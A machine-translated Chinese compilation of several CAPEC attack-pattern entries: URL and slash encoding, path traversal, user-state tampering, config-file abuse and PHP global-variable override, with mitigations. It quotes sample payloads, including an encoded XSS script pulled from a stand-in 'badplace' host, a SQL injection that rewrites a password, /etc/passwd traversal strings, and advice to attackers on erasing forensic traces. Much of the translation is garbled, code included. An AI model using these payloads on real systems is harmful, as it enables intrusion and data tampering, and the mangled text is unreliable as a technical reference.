应用程序应该接受和解码URL输入。 在应用程序执行url过滤/规范化不足。 注射 协议处理 API滥用 攻击的例子:URL编码IceCast MP3服务器。以下类型的编码的字符串已被遍历目录IceCast MP3 server9: http:// [targethost]: 8000 / somefile / % 2 e % 2 e /目标。mp3或使用“/ % 25 / 25%”而不是“/ . . /”。控制字符“. .”可以被攻击者用来逃避文档根。 cve - 2001 - 0784 跨站点脚本url编码的攻击:http://target/getdata.php?data = % 3 cscript % 20 src = % 22 http % 3 a % 2 f % 2 f www.badplace.com % 2 fnasty.js % 22% 3 e % 3 c % 2 fscript % 3 e HTML执行:< script src = " http://www.badplace.com/nasty.js " > < /脚本>从“URL编码的攻击”,冈特•——http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html SQL注入原始数据库查询的示例文件——“登录。asp”: SQLQuery = "从logintable选择偏好,用户id =”“& Request.QueryString(“标识”)和“”和密码=”“& Request.QueryString(“密码”)和“”;“url编码的攻击:http://target/login.asp?用户id =鲍勃% 27% 3 b % 20更新% 20 logintable % 20集% 20 passwd % 3 d % 270 wn3d % 27% 3 b——% 00执行数据库查询:选择偏好从logintable用户id =“鲍勃”;更新logintable设置密码= 0 wn3d”;从“URL编码的攻击”,通过甘特•——http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html 低,攻击者可以尝试特殊字符的URL和URL绕过验证。中期攻击者可能编写一个脚本失败输入过滤机制。 攻击者可以手动注入特殊字符的URL字符串请求的请求,并观察结果。 还可以使用自定义脚本。例如,一个好的脚本验证的正确解释utf - 8编码的字符可以在http://www.cl.cam.ac.uk/找到~ mgk25 ucs / / UTF-8-test.txt例子 fuzzer等自动化工具可用于测试URL解码和过滤。 如果第一个解码过程留下了一些无效或列入黑名单字符,这可能是一个信号,表明该请求是恶意的。 流量过滤与id(或代理)可以检测请求可疑的url。id可能使用基于签名的识别揭示这种基于URL的攻击。 有时逃避百分比可以用来混淆攻击本身。 可以使用替代方法的数据编码。 模糊技术,如IP地址编码也可以使用(见参考部分:“URL编码的攻击”,冈特•奥尔)。 参考rfc safelly解码URL。 可以使用正则表达式来匹配安全URL模式。然而,这可能丢弃有效的URL请求如果正则表达式限制太多。 有工具扫描等有效的URL的HTTP请求到服务器URLScan禁止从微软(http://www.microsoft.com/technet/security/tools/urlscan.mspx)。 任何应该进行安全检查后,数据被解码和验证为正确的数据格式。不重复解码过程,如果坏字符解码过程后,把数据当作可疑,验证过程失败。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。测试你对恶意输入解码过程。 意识到威胁的替代方法的数据编码和模糊技术,如IP地址编码。(见相关指南部分) 当客户端输入需要从网络形式,避免使用“GET”方法来提交数据,方法使表单数据附加到URL和很容易操纵。相反,尽量使用“POST方法。 信息泄漏 拒绝服务 运行任意代码 信息泄漏 特权升级 大多数web编程语言建立在URL API来执行URL编码和解码。例如PHP使用“urlencode(字符串)”和“urldecode(字符串)”。Java使用“java.net.URLEncode.encode(字符串)”。 173年 有针对性的 177年 有针对性的 171年 有针对性的 172年 有针对性的 73年 有针对性的 21 有针对性的 74年 有针对性的 20. 有针对性的 64年 更抽象 79年 类似的 71年 类似的 43 类似的 使用替代编码绕过验证逻辑 更详细的 不愿相信 渗透 剥削 媒介 客户机-服务器 SOA 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 URL编码的攻击,冈特•——http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html 统一资源标识符(URI):通用的语法,RFC 3886, http://www.ietf.org/rfc/rfc3986.txt URL(统一资源定位器(URL) RFC - http://rfc.net/rfc1738.html ——http://www.w3schools.com/tags/ref_urlencode.asp URL编码参考 URLEncode和URLDecode页面——http://www.albionresearch.com/misc/urlencode.php 大卫·惠勒-验证uri http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html VALIDATING-URIS g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种类型的攻击是攻击者插入恶意字符(如XSS重定向)到一个文件名,然后使用直接或间接由目标软件生成HTML文本或其他潜在的可执行内容。许多网站依靠用户生成内容和动态构建资源(如文件、文件名和URL链接直接从用户提供的数据。在这种攻击模式中,攻击者在浏览器客户端上传的代码可以执行和/或客户端浏览器重定向到一个网站,攻击者拥有。所有XSS攻击的有效载荷变体可以用来传递和利用这些漏洞。 受害人必须信任的名称和地区用户控制的文件名。 修改的资源 网络钓鱼攻击依赖于用户点击链接提供给他们的攻击者伪装成一个值得信赖的资源,比如银行或在线拍卖网站。最终用户的电子邮件客户端主机supplid资源名称在这种情况下,通过电子邮件。资源的名称,但是可以1)直接客户端浏览器一个恶意网站窃取credentical和/或2)执行代码在客户端机器上探针受害者的主机系统和网络环境。 低→实现重定向和使用更少的可靠来源,攻击者可以简单地编辑数据,主机使用构建文件名中→部署一个恶意“看起来像“网站(如网站伪装成一个银行或在线拍卖网站),用户输入身份验证数据。高→利用客户端漏洞将恶意脚本注入浏览器的执行过程。 设计:使用浏览器技术,不允许客户端脚本。 实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 实现:对所有远程执行输入验证的内容。 实现:对所有远程执行输出验证的内容。 实现:在浏览器中禁用脚本语言Javascript等 实现:扫描动态生成的内容与验证规范 特权升级 运行任意代码 拒绝服务 信息泄漏 “攻击模式:用户控制文件名过滤,用户控制可以用来构造客户端HTML文件名。也许正在由HTML文本文件名。可以这样如果暴露Web服务器上的一个目录的文件系统,例如。如果服务器不过滤某些字符,文件名本身可以包含XSS攻击。”(霍格伦德和McGraw 04) 有效载荷通过用户控制文件名。 命令(s)直接在主机执行 客户端机器和客户网络 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 20. 有针对性的 184年 二次 96年 有针对性的 348年 有针对性的 116年 有针对性的 350年 有针对性的 86年 二次 697年 有针对性的 63年 更详细的 渗透 剥削 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者修改状态信息由目标软件向用户提供位置。如果成功,目标软件将使用这个污染状态信息和执行以意想不到的方式。状态管理是一个重要的功能在一个应用程序。用户状态维护的应用程序可以包括用户名,付款信息,浏览历史以及特定于应用程序的内容,如物品在一个购物车。操纵用户状态由攻击者可以使用提升特权,进行欺诈性交易或修改应用程序的流量获得某些好处。 攻击者的性质决定了状态管理使用的应用程序。这包括确定位置(客户端,服务器端或两者),可能物品存储为用户状态的一部分 现在的攻击者试图修改用户状态内容(可能是盲目的,如果内容加密或者混淆),观察这种变化对应用程序的影响。 有确定的信息存储在用户状态和可能的方法修改它,攻击者可以违反它为了执行非法操作。 媒介 分析 修改的资源 对用户进行身份验证,应用程序商店认证决定(auth = 0/1)饼干未加密。在每一个请求,这个cookie检查允许或拒绝一个请求。攻击者可以很容易地违反用户状态和设置的reprepsentation auth = 1在每个请求以获得非法的访问和高架appplication特权。 介质:攻击者需要有知识的状态管理采用目标应用程序,也可以操纵国家以一种有意义的方式。 不需要特殊的资源。攻击者可以选择使用数据篡改工具来协助攻击。 分析:攻击者所观察到的内容,客户端用户状态变量,存储在coookies或隐藏字段或查询字符串,并修改它们以观察影响应用程序。 不要仅仅依靠用户可控的地点,如cookie或URL参数,维护用户状态 不存储敏感信息,比如用户名或身份验证和授权信息,在用户可控的位置。 时刻敏感信息,用户状态的一部分,必须适当地保护在每个请求以确保机密性和完整性 特权升级 数据修改 用户状态保存在请求之间的方法多种多样,其中一些依赖于平台。这些包括饼干,隐藏字段,会话对象,缓存对象,查询字符串和等。内容,进入用户状态的持久性,然而,完全依赖应用程序。因此,设计决定,包括特定的信息持续作为用户状态的一部分。应用设计者通常包括敏感的信息,如用户名或信用卡号码作为用户状态的一部分被暴露给用户。身份验证决策和授权角色从属关系中经常发现饼干或查询字符串。任何此类信息可以改变应用程序的行为不同的篡改,恶意用户开放。违反了用户状态信息可能导致应用程序授予正确,往往升高,特权或其他用户的敏感信息泄漏或不可预知的行为,攻击者受益。这个问题是由于缺乏强大的加密保护等敏感信息。 用户可控的用户状态变量 修改或注入用户状态变量 应用程序的状态管理机制 改变用户状态导致信息泄漏或提升特权 372年 二次 371年 有针对性的 315年 有针对性的 353年 有针对性的 693年 有针对性的 cve - 2005 - 4448 FlatNuke 2.5.6基于MD5校验和验证身份验证凭证的管理员名称和密码散列而不是明文密码,攻击者可以获得特权获得密码散列(可能通过cve - 2005 - 2813),然后计算凭证,包括secid饼干。 保护用户状态存储客户端的完整性检查,以确保一个恶意用户无法获得unauthroized访问应用程序的部分 每个请求进行身份验证,以确保它是来自一个合法用户,请求是有效的在当前上下文。 不愿相信 不要假设你的秘密是安全的 把整个流程上下文继承用户输入 正确使用著名的加密 剥削 媒介 客户机-服务器 SOA 所有 所有 所有 Chiradeep B Chhaya Cigital公司 2007-03-08 从Eric Dalci接管 肖恩·巴纳姆 Cigital公司 2007-03-08 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名称和描述 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 攻击者修改配置文件的内容影响/控制目标的操作软件。这种攻击利用了日益增长的数量、大小和复杂性的配置文件和经常在这些文件访问控制不严。这种攻击利用程序的信任可能较弱的权限的配置文件。系统配置等分布式系统的J2EE服务器有许多政府点。例如,权限可以设置在管理GUI,服务器的配置文件作为一个整体,为特定的域和应用程序配置文件,特殊jar和其他类文件在运行时用于加载资源,甚至政策具体. war和. ear文件。在权限设置一个错误文件的acl或内容是一个攻击者可以用它来提升特权。以下三个例子描述如何攻击服务器使用这个模式控制台输出:根据配置,服务器可以把大量的配置信息到控制台。一些服务器需要输入服务器密码通过shell,攻击者可以收集和其他数据(如数据库连接)从系统日志和回声。配置文件:配置文件作为服务器的dna,其设置映射到所有需要的网络,应用,身份和数据资源。疲软的权限设置对这些文件代表了一个很大的漏洞,因为整个系统作为一个整体可以攻击者所拥有的,因为日志通常从同一个源文件控制,攻击者可以删除任何法医证据。 Configuration file contents: The configuration file for an application may contain xml files that manage the application security policy, describing the allowed security authorities like directory services, token issuers, and so on. Many J2EE application server use xml files to list the ACLs allowed users, roles, and groups for an application. Generally these are manually edited files that are not in the perview of the system administrators, any ability on the attacker's behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users. 配置文件必须由攻击者可以修改 非常高的 修改的资源 BEA Weblogic服务器使用一个配置。xml文件来存储配置数据。如果这个文件不是正确的保护系统的访问控制,攻击者可以重定向服务器配置信息写入输出通过系统日志、数据库连接、恶意网址等等。对Weblogic服务器的访问可能会从一个所谓的定制领域管理代表用户身份验证和授权权限的主体。鉴于写访问,攻击者可以插入一个指针指向一个自定义领域配置的jar文件。xml < CustomRealm ConfigurationData = " java.util。属性“Name = " CustomRealm Maliciousrealm RealmClassName =。jar " / >配置文件的主要问题在于,攻击者可以利用服务器都是一样的功能,但对于恶意的意思。鉴于服务器配置的复杂性,这些变化可能非常管理员很难检测到。 媒介→确定脆弱的配置文件,并知道如何操作服务器和擦除法医证据 设计:实施最小特权原则 设计:所有配置文件的备份副本 实现:完整性监测配置文件 实现:执行审计日志记录代码和配置推广过程。 实现:从单独的进程加载配置和内存空间,例如一个单独的物理设备像一个CD 特权升级 “攻击模式:使用用户提供的配置文件来运行命令,提升特权一个setuid实用程序接受命令行参数。其中一个参数允许用户提供一个配置文件的路径。配置文件允许shell命令插入。因此,当该实用程序启动时,它运行给定的命令。发现在野外的一个例子是UUCP(或UNIX-to-UNIX复制程序)的工具。实用程序可能没有根访问,但这可能属于一个组或用户上下文比攻击者的特权。对于UUCP,海拔可能导致拨号器组,或UUCP用户帐户。特权升级步骤通常会导致攻击者根妥协(终极目标)。有些程序不允许一个用户提供的配置文件,但是系统配置文件可能已经疲软的权限。的漏洞存在,因为糟糕的权限配置很大。 A note of caution: As an attacker, you must consider the configuration file as an obvious detection point. A security process may monitor the target file. If you make changes to a configuration file to gain privilege, then you should immediately clean the file when you are finished. You can also run certain utilities to set back the file access dates. The key is not to leave a forensic trail surrounding the file you exploited." [Hoglund and McGraw 04] 配置文件 命令或配置设置 配置文件处理例程 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 349年 有针对性的 99年 有针对性的 77年 有针对性的 346年 有针对性的 353年 二次 354年 二次 713年 有针对性的 剥削 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名称和描述 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 攻击者操纵输入目标软件目标软件在操作系统文件系统调用。目标是获得,或者修改的文件系统,目标软件不打算被访问。 程序必须允许用户控制变量直接应用到文件系统 非常高的 注射 API滥用 修改的资源 的一个例子使用路径遍历攻击一些资源在web服务器是使用一个标准的HTTP请求http://example/../../../../.。/ etc / passwd从攻击者的角度来看,这可能足以获得不好的密码文件保护系统。如果攻击者可以列出目录关键资源的只读访问保护系统是不够的。 低→确定文件系统入口点和执行一个超水准系统接口 设计:实施最小特权原则。 设计:确保所有输入验证,不包含文件系统命令 设计:与非根用户帐户运行服务器接口和/或使用chroot监狱或其他配置技术限制特权,即使攻击者可以有限制地访问命令。 设计:对于交互式用户应用程序,考虑如果直接文件系统接口是必要的,而不是考虑应用程序代理沟通。 实现:执行测试,如其中和漏洞扫描识别目录,程序,和接口,直接访问的可执行文件。 特权升级 数据修改 这种类型的攻击利用系统的放纵让最终用户指定文件名、路径和其他数据。许多系统,尤其是多用户系统服务器,试图平衡之间的权衡允许用户获得丰富的功能和限制访问文件系统。对于web和ftp服务器,它可能是可取的为用户上传和管理内容;在企业工作站,可能有多个用户在同一台机器上运行程序,因此,政策可能需要限制用户对自己的工作目录。不幸的是,给最终用户直接访问文件系统没有适当的验证输入数据,可能会导致无法预料的结果。用户的操作文件系统的能力,执行命令对文件系统,可以摧毁之间的屏障被设计为最终用户的特权,因为他们是执行在一个意想不到的地区(文件系统)可能没有正确设置权限。这种类型的访问的结果可以包括:操作文件元数据:改变时间戳,文件名,文件权限授权复制或破坏:攻击者可以复制,移动,或删除文件系统遍历:用户与其他自由权限可以遍历目录/ tmp和/等来获得额外的系统配置信息和其他敏感信息。入口点目录是起点,附加文件系统命令像. ./逃避的初始目录区域,例如:入口点目录/ . ./ targetfilename上传文件:由于太多的访问,攻击者可以识别文件系统位置上传工具,文件,和其他内容发动进一步攻击。应该注意的是,即使没有上传的能力,访问文件系统本身只能打开一个攻击者的需求。 Systems have increasingly complex configurations, and the locations of directories, tools, and entry points by default are very similar across implementations. This allows attackers to scan many hosts to identify predictably located entry points for file system attacks. “File system calls are very common in software applications. In many cases, user input is consumed to specify filenames and other data. WIthout proper security control this leads to a classic vulnerability whereby an attacker can pass various parameters into file system calls." [Hoglund and McGraw 04] 有效载荷通过标准的通信协议和输入。 文件系统命令和说明符 文件系统 文件访问或修改。 23 有针对性的 22 有针对性的 73年 有针对性的 77年 有针对性的 346年 有针对性的 348年 有针对性的 285年 二次 264年 二次 272年 有针对性的 59 有针对性的 74年 有针对性的 15 有针对性的 715年 有针对性的 剥削 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名称和描述 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 这种攻击的目标用户控制变量(PHP DEBUG = 1,全局变量,等等)。攻击者可以覆盖环境变量利用用户提供的,不可信的查询变量直接使用在应用程序服务器上没有任何卫生处理的数据。在极端情况下,攻击者可以改变变量控制应用程序的业务逻辑。例如,在PHP之类的语言中,许多不可能允许用户设置默认配置覆盖变量。 1 -攻击者与应用程序服务器使用一个瘦客户端(浏览器)或瘦客户机。 2 -与服务器通信时,攻击者发现,她可以控制和覆盖一个变量被应用程序服务器。 3 -攻击者覆盖变量和影响应用程序服务器的正常行为。 一个变量被应用程序服务器暴露给客户端。 一个变量被用户应用服务器可以被覆盖。 应用程序服务器信任用户提供的数据来计算业务逻辑。 应用程序服务器不执行适当的输入验证。 非常高的 非常高的 注射 攻击的例子:PHP全局变量PHP是一种糟糕的安全学习。溥PHP的主要思想是“易用性”和咒语“不要让开发人员去任何额外的工作来完成事情”在所有情况下都适用。这是用PHP实现通过删除形式的语言,允许声明的变量在第一次使用,与预设值初始化一切,把每一个有意义的变量从一个事务,使其可用。在碰撞与更技术的情况下,简单的几乎总是在PHP中占主导地位。这一切的结果之一是,PHP Web应用程序允许用户覆盖环境变量与用户提供的,不可信的查询变量。因此,至关重要的价值观如鹿和搜索路径可以直接覆盖和控制远程匿名用户。另一个类似的结果是,变量可以直接控制和分配的GET和POST请求中提供的用户控制值字段。所以看似正常的代码,做奇怪的事情:尽管(数< 10美元){/ /做一些美元计数+ +;正常},这个循环将执行它的身体十次。第一个迭代将一个未定义的零,进一步旅行虽然循环将导致增加的变量$计数。 The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as GET /login.php?count=9 and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg. Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an attacker can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable. PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example. Consider another example of this problem in which a program defines a variable called $tempfile. An attacker can supply a new temp file such as $tempfile = "/etc/passwd". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased—a bad thing indeed on most OSs. Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be “Trojaned” (the attacker can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified. Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow. 文件上传允许任意文件读取通过设置隐藏表单变量匹配内部变量名(cve - 2000 - 0860) 低:恶意用户可以很容易地尝试一些众所周知的全局变量,找到一个匹配。中,攻击者可以使用自动化工具来探测她可以控制的变量。 攻击者可以尝试改变变量的值在网页的源代码公开,送他们回到应用程序服务器。根据程序运行在应用服务器上,攻击者可能知道哪些变量应该有针对性。 恶意用户可能会试图猜测一个全局变量通过黑盒测试要求的水平。例如可以创建一个变量并为其分配一个值,然后将它传给请求到服务器。 网络渗透工具可用于自动化的发现客户端控制的全局变量。 网络渗透工具探索web服务器可能生成异常活动记录在日志文件中。异常流量等大量的请求来自相同客户机也可以增加警告从监控系统或一个入侵检测工具。 不允许覆盖全局变量和全局变量不相信。如果register_globals选项启用,PHP将创建全局变量为每个GET、POST,和饼干变量包含在HTTP请求中。这意味着恶意用户可能会意外设置变量。例如确保PHP服务器设置为不公开全局变量。 软件系统应该不愿意信任变量被初始化外部的信任边界。确保足够的执行检查时依靠从外部输入信任边界。 单独的表示层和业务逻辑层。在业务逻辑层变量不应暴露在表示层。这是为了防止计算控制的业务逻辑与用户输入数据。 在声明变量时使用封装。这是降低接触你的变量。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单应该拒绝了这个计划。 数据修改 运行任意代码 信息泄漏 特权升级 技术:利用外部变量在很多情况下,软件可能会预设各种参数默认设置。在许多情况下,默认值设置没有考虑安全。攻击者可以利用这些破碎的违约在攻击。为了方便(懒惰?),一些程序员可能“秘密变量”整合到他们的应用程序。一个秘密变量就像一个码字。如果使用这个秘密码字,应用程序打开金库。一个例子是一个Web应用程序,区分正常用户和管理员的检查一个隐藏的表单变量与一个特定的值如管理= YES。这也许听起来疯狂,但许多内部开发基于web的应用程序使用的是世界上最大的银行操作。这是一个软件审计团队寻找的技巧。有时这些类型的问题不是故意的程序员,而是来“设计”在一个平台或语言。 This is the case with PHP global variables. 用户控制变量。 用户控制变量的新值。 在服务器端命令或请求解释器负责解释全局变量。有时控制全局变量设置。例如在PHP中,布尔设置“register_globals”定义是否注册EGPCS(环境、GET、POST、饼干、服务器)变量是全局变量。PHP 4.2.0,设置默认值。这个指令是在PHP 6.0.0删除。 更改服务器端变量的值可能会有很多结果。在调试相关变量的情况下,将会有一个信息泄漏的问题。其他一些影响可以特权升级,数据修改等。它真的取决于变量的控制。如果一个全局变量用于身份验证,可能会有漏洞的特权升级。最后一个问题的另一个常见变异是实现一个“记住我的登录”功能将用户标识符存储在cookie,允许用户改变他们的cookie值登录任何他们想要的东西。 473年 有针对性的 15 有针对性的 285年 二次 302年 有针对性的 94年 二次 96年 二次 13 更抽象 10 更抽象 22 更详细的 全局变量用于服务器端不应该被信任。 Overide全局变量的不应该被允许。 剥削 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 获得PHP:循序渐进,阿图尔Maj 2003-06-23, http://www.securityfocus.com/infocus/1706 十对PHP安全检查,部分1 -克兰西马尔科姆,03/20/2003 “章29。使用注册全局变量”,从官方PHP文档:http://www.php.net/manual/en/security.globals.php g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 这种攻击目标使用反斜杠的替代编码。攻击者可以提供一个反斜杠作为主角,使解析器相信下一个字符是特别的。这叫做一个逃脱。通过使用技巧,攻击者试图利用不同的方法来编码相同的性格导致过滤问题,打开攻击途径。 1 -攻击者可以将输入数据发送到主机目标(例如,通过http请求或命令行请求 2 -攻击者工艺恶意输入数据包括斜杠逃走了。攻击者可能需要多次尝试才找到一个成功的组合。 应用程序接受反弹字符转义字符。 应用服务器是不完整的输入数据解码、过滤和验证。 注射 协议处理 API滥用 例如,字节对\ 0就会产生一个零字节(NULL)发送。另一个例子是\ t,有时转换为制表符。之间往往有一个等价编码反斜杠和削减逃回来。这意味着\ /结果在一个斜杠。一个正斜杠也导致一个斜杠。编码是这样的:/ / \ /产量/ 攻击的例子:逃脱斜杠在替代编码攻击利用这种模式非常简单。如果你相信目标可能过滤削减,试图供应\ /,看看会发生什么。示例命令字符串尝试包括慢性消耗病. . \ / . . \ / \ /…\ / winnt在许多情况下转换为慢性消耗病. . / . . / . . / . ./ winnt探究这类问题,一个小的C程序,使用字符串输出例程可以是非常有用的。成为优秀的测试素材文件系统调用。简单的片段int主要(int命令行参数个数,char * argv[]){所说的(“\ / \ \ \ ?\。\ |”);返回0;}生成的输出/ \ ? . | Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities: CWD ..\?\?\?\?\/..\/..\/..\/winnt CWD \.\.\/\.\.\/\.\.\/\.\.\/winnt CWD ..\|\|\|\|\/..\/..\/..\/winnt 低,攻击者可以天真地尝试反斜杠字符和发现目标主机使用转义字符。中期目标主机的攻击者可能需要深刻理解为了利用这个安全漏洞。攻击者也可以使用自动化工具来探测这个漏洞。 攻击者可以手动注入反斜杠字符数据发送到目标主机和观察结果的要求。 攻击者也可以对目标主机运行脚本或自动化工具发现漏洞相关使用反斜杠字符。 一个攻击者可以使用fuzzer为了调查这个漏洞。fuzzer应该生成可疑的网络活动明显的入侵检测系统。 可以使用替代方法的数据编码。 验证用户提供的数据不使用反斜杠字符转义恶意字符。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。 意识到威胁的替代数据编码的方法。 正则表达式可以用来过滤反斜杠。确保你解码之前过滤和验证不可信的输入数据。 在遍历路径的情况下,使用最小特权原则在确定文件系统访问权限。不允许用户访问目录/文件,他们不应该访问。 任何应该进行安全检查后,数据被解码和验证为正确的数据格式。不重复解码过程,如果坏字符解码过程后,把数据当作可疑,验证过程失败。 避免做决定基于名称的资源(例如文件)如果这些资源能替代名称。 信息泄漏 拒绝服务 运行任意代码 信息泄漏 特权升级 用户提供的数据(例如,HTTP请求) 反斜杠字符注入的用户提供的数据。反斜杠字符可以用替代编码混淆。 命令或请求翻译目标主机上可以考虑使用反斜杠字符转义字符。 反斜杠字符后的字符将(我逃走了。e、过滤),可能会引起有害影响。 180年 有针对性的 181年 有针对性的 173年 有针对性的 171年 有针对性的 172年 有针对性的 73年 有针对性的 21 有针对性的 74年 有针对性的 20. 有针对性的 697年 有针对性的 707年 有针对性的 64年 类似的 79年 更详细的 71年 类似的 43 类似的 相对路径遍历 更详细的 使用替代编码绕过验证逻辑 更详细的 所有client-supplied输入必须通过过滤和验证所有的输出必须适当转义。 不愿相信 从不相信用户提供的输入。 渗透 剥削 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 这种攻击的目标削减的编码字符。攻击者会试图利用常见的滤波问题相关的使用斜杠字符来获得目标主机上的资源。Directory-driven系统,如文件系统和数据库,通常使用斜杠字符表示遍历目录或其他容器组件之间。黑暗的历史原因,电脑(,因此,微软OSs)选择使用一个反斜杠,而UNIX世界通常使用正斜杠。精神分裂症的结果是许多MS-based系统需要了解这两种形式的削减。这给攻击者很多机会发现和滥用一些常见的滤波问题。这种模式的目标是发现服务器软件,只有过滤器适用于一个版本,而不是其他。 1 -攻击者可以访问所需资源路径和使用斜杠作为资源分隔符。 2 -攻击者尝试变异和斜杠字符的组合在不同的编码格式。 3 -攻击者发现未经过滤的组合,它映射到一个有效的路径和访问未经授权的资源(目录、文件等) 应用程序服务器接受路径来定位资源。 应用服务器做足够的输入数据验证用户所请求的资源路径。 对资源的访问没有设置正确。 注射 协议处理 API滥用 攻击的例子:斜杠后替代编码两个请求是等价的大多数Web服务器:http://target服务器/ some_directory \ . . \ \…\ winnt相当于http://target服务器/ some_directory / . . / . . / . ./ winnt多个编码转换问题也可以利用各种斜杠在url编码实例化,utf - 8,或者unicode。考虑到字符串http://target服务器/ some_directory \ . . % 5 c . . % 5 c . .\ winnt, % 5 c等于\字符。 低:攻击者可以变化的斜杠字符。介质:攻击者可以使用更复杂的工具或脚本扫描过滤问题的网站,找到一个路径。 攻击者可以尝试不同的编码格式为斜杠字符,看他们是否产生相同的过滤结果。 fuzzer等自动化工具可用于测试URL解码和过滤。还可以使用自定义脚本。例如,一个好的脚本验证的正确解释utf - 8编码的字符可以在http://www.cl.cam.ac.uk/找到~ mgk25 ucs / / UTF-8-test.txt例子 如果第一个路径解码过程留下了一些无效或列入黑名单字符,这可能是一个信号,表明该请求是恶意的。 流量过滤与id(或代理)可以检测请求可疑的url。id可能使用基于签名的识别揭示这种基于URL的攻击。 一个攻击者可以使用fuzzer为了调查一个utf - 8编码漏洞。fuzzer应该生成suspiscious网络活动。 通常这里的困惑是使用不同的备选编码格式(Unicode utf - 8,等) 任何应该进行安全检查后,数据被解码和验证为正确的数据格式。不重复解码过程,如果坏字符解码过程后,把数据当作可疑,验证过程失败。参考rfc safelly解码URL。 当客户端输入需要从网络形式,避免使用“GET”方法来提交数据,方法使表单数据附加到URL和很容易操纵。相反,尽量使用“POST方法。 有工具扫描等有效的URL的HTTP请求到服务器URLScan禁止从微软(http://www.microsoft.com/technet/security/tools/urlscan.mspx) 意识到威胁的替代方法的数据编码和模糊技术endoding如IP地址。(见相关指南部分) 测试你的路径对恶意输入解码过程。 在遍历路径的情况下,使用最小特权原则在确定文件系统访问权限。不允许用户访问目录/文件,他们不应该访问。 